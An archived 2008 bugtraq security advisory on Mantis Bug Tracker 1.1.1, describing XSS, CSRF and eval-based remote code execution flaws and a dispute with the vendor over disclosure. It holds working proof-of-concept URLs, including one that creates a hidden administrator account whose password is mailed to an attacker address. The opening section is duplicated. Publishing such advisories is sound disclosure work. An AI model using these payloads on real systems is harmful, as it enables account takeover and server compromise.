PRESS REVIEW ARCHIVE

Digital Media Monitoring & Documentation Service

Page Screenshot

[prev in list] [next in list] [prev in thread] [next in thread]

List: bugtraq
Subject: Mantis Bug Tracker 1.1.1 Multiple Vulnerabilities
From: ascii <ascii () katamail ! com>
Date: 2008-05-20 16:50:21
Message-ID: 4833014D.9060200 () katamail ! com
[Download RAW message or body]

Mantis Bug Tracker 1.1.1 Multiple Vulnerabilities

Name	Multiple Vulnerabilities in Mantis
Systems Affected	Mantis 1.1.1 and possibly earlier versions
Severity	High
Impact (CVSSv2)	High 9/10, vector: (AV:N/AC:L/Au:N/C:C/I:P/A:P)
Vendor	http://www.mantisbt.org/
Advisory	http://www.ush.it/team/ush/hack-mantis111/adv.txt
Authors	Antonio "s4tan" Parata (s4tan AT ush DOT it) Francesco "ascii" Ongaro (ascii AT ush DOT it)
Date	20080520

I. BACKGROUND

From the Mantis web site: "Mantis is a free popular web-based bug tracking system. It is written in the PHP scripting language and works with MySQL, MS SQL, and PostgreSQL databases and a webserver.".

II. DESCRIPTION

Multiple vulnerabilities exist in Mantis software (XSS, CSRF, Remote Code Execution).

III. ANALYSIS

Summary:
A) XSS Vulnerabilities
return_dynamic_filters.php (filter_target parameter)
B) CSRF Vulnerabilities
manage_user_create.php
C) Remote Code Execution Vulnerabilities
adm_config_set.php (value parameter)

A) XSS Vulnerabilities

We have found an XSS vulnerability in return_dynamic_filters.php. In order to exploit this vulnerability the attacker must be authenticated. Usually the anonymous user is allowed on typical installation, so the impact is a bit higher. The following url is a proof of concept:

http://www.example.com/mantis/return_dynamic_filters.php?filter_target=
<script>alert(document.cookie);</script>

List: bugtraq
Subject: Mantis Bug Tracker 1.1.1 Multiple Vulnerabilities
From: ascii <ascii () katamail ! com>
Date: 2008-05-20 16:50:21
Message-ID: 4833014D.9060200 () katamail ! com
[Download RAW message or body]

Mantis Bug Tracker 1.1.1 Multiple Vulnerabilities

Name	Multiple Vulnerabilities in Mantis
Systems Affected	Mantis 1.1.1 and possibly earlier versions
Severity	High
Impact (CVSSv2)	High 9/10, vector: (AV:N/AC:L/Au:N/C:C/I:P/A:P)
Vendor	http://www.mantisbt.org/
Advisory	http://www.ush.it/team/ush/hack-mantis111/adv.txt
Authors	Antonio "s4tan" Parata (s4tan AT ush DOT it) Francesco "ascii" Ongaro (ascii AT ush DOT it)
Date	20080520

I. BACKGROUND

From the Mantis web site: "Mantis is a free popular web-based bug tracking system. It is written in the PHP scripting language and works with MySQL, MS SQL, and PostgreSQL databases and a webserver.".

II. DESCRIPTION

Multiple vulnerabilities exist in Mantis software (XSS, CSRF, Remote Code Execution).

III. ANALYSIS

Summary:
- A) XSS Vulnerabilities
  return_dynamic_filters.php (filter_target parameter)
- B) CSRF Vulnerabilities
  manage_user_create.php
- C) Remote Code Execution Vulnerabilities
  adm_config_set.php (value parameter)

A) XSS Vulnerabilities

We have found an XSS vulnerability in return_dynamic_filters.php. In order to exploit this vulnerability the attacker must be authenticated. Usually the anonymous user is allowed on typical installation, so the impact is a bit higher. The following url is a proof of concept:

http://www.example.com/mantis/return_dynamic_filters.php?filter_target=
<script>alert(document.cookie);</script>

B) CSRF Vulnerabilities

There is a Cross Site Request Forgery vulnerability in the software. If a logged in user with administrator privileges clicks on the following url:

http://www.example.com/mantis/manage_user_create.php?username=foo&realn
ame=aa&password=aa&password_verify=aa&email=foo@attacker.com&access_lev
el=90&protected=0&enabled=1

a new user 'foo' with administrator privileges is created. The password of the new user is sent to foo@attacker.com.

C) Remote Code Execution Vulnerabilities

Finally we present the most critical vulnerability. A Remote Code Execution vulnerability exists in the software, but it can be exploited only if the attacker has a valid administrator account, so it could be ideal if used in conjunction with the previous one. The vulnerability is in the file adm_config_set.php. On row 80 we have the following statement:

```
eval( '$t_value = ' . $f_value . ';' );
```

where the $f_value is defined at row 34 of the same file:

```
$f_value = gpc_get_string( 'value' );
```

the parameter $f_value is never validated, so we can exploit this issue with the following url which executes the phpinfo() function:

http://www.example.com/mantis/adm_config_set.php?user_id=0&project_id=0
&config_option=cache_config&type=0&value=0;phpinfo()

IV. DETECTION

Mantis 1.1.1 and possibly earlier versions are vulnerable.

V. WORKAROUND

Proper input validation will fix the vulnerabilities.

Upgrade to latest development version 1.2.0a1.

VI. VENDOR RESPONSE

It was a little surprise to find out that somebody issued CVE-2008-2276
during our responsible disclosure time-line.

From an internal email with Glenn Henshaw:

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

8974 : XSS Vulnerability in filters - fixed for 1.1.2
8977 : Port 0008974: XSS Vulnerability in filters - fixed for 1.2.0
and future
- this issue has been fixed by escaping the data in the error
message.
8976 : Remote Code Execution in adm_config - workaround in place in
1.1.2
- this page is only accessible to registered administrators
8980 : Port: Remote Code Execution in adm_config - workaround in
place in 1.2.0 and beyond
- this page is only accessible to registered administrators
8975 : CSRF Vulnerabilities in user_create
8995 : Port: CSRF Vulnerabilities in user_create
- this has been fixed by ensuring that action pages can only
be accessed via POST commands.

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

So "CSRF Vulnerabilities in user_create" is an our finding. The vendor
fixed by allowing only POST parameters that is obviously a non-fix.

Our response:

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

This alone isn't enough since forms can be auto-submitted by js that
are irrespective of the same-orgin policy.

Proper remediation should include referer checking (has proved to be
spoofable on the client side in the past so not a bulletproof
technique) and token checking (a random string or an hash generated
when the user requires the frontend, stored serverside - sessions are
okay -, included in the frontend form and sent to and verified by the
backend).

These two protections ensure that an action cannot, hopefully, be
CSRFed (at last in absence of an xss vuln that neutralize the same
origin policy again).

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

Glenn response:

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

Thanks for the notice. The CSRF patch for rev 1.1.2 is in place using
just a "POST" check. I have added a more sophisticated token based
check to rev 1.2.0 (the patch is attached for review). I should be
submitting this shortly.

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

Glenn final update about the patch not being incorporated upstream:

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

As a final update on this subject, the status of these issues has not
changed. The token based CSRF implementation was rejected by the
development team, and will not be implemented (at least by me). The
consensus was that it was too complex to resolve a "rare" problem.

--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

Since responsible disclosure didn't worked well with this vendor and
turned out to be very resource expensive we will publish future issues
affecting this product directly to independent security researchers,
developers and users.

The wrong attribution of CVE-2008-2276 before our official advisory
strengthen our conviction that responsible disclosure isn't always
fair.

We discussed long with Glenn Henshaw about issues and how to fix them

in mantis and we didn't expect to find a CVE credited to one of our
interlocutors. He was surely aware of who was deserving credits and
should have taken proper steps to prevent or fix this.

   nUE0p QbiY3q3ql55o3I0 qJWy YzAioF9 3LKEwnQ92 CIEhqzkE L0kIMy9S

VII. CVE INFORMATION

No CVE at this time.

VIII. DISCLOSURE TIMELINE

20080121 Bug discovered
20080213 Vendor contacted
         -- LONG VENDOR SLOWNESS --
20080512 Last vendor mail about development and compatibility issues
20080515 CVE-2008-2276 wrongly credited to Glenn Henshaw (thraxisp)
20080520 Advisory released (forced disclosure)

IX. CREDIT

Antonio "s4tan" Parata and Francesco "ascii" Ongaro are credited with
the discovery of this vulnerability.

Antonio "s4tan" Parata
web site: http://www.ictsc.it/
mail: s4tan AT ictsc DOT it, s4tan AT ush DOT it

Francesco "ascii" Ongaro
web site: http://www.ush.it/
mail: ascii AT ush DOT it

X. LEGAL NOTICES

[prev in list] [next in list] [prev in thread] [next in thread]

Configure | About | News | Add a list | Sponsored by KoreLogic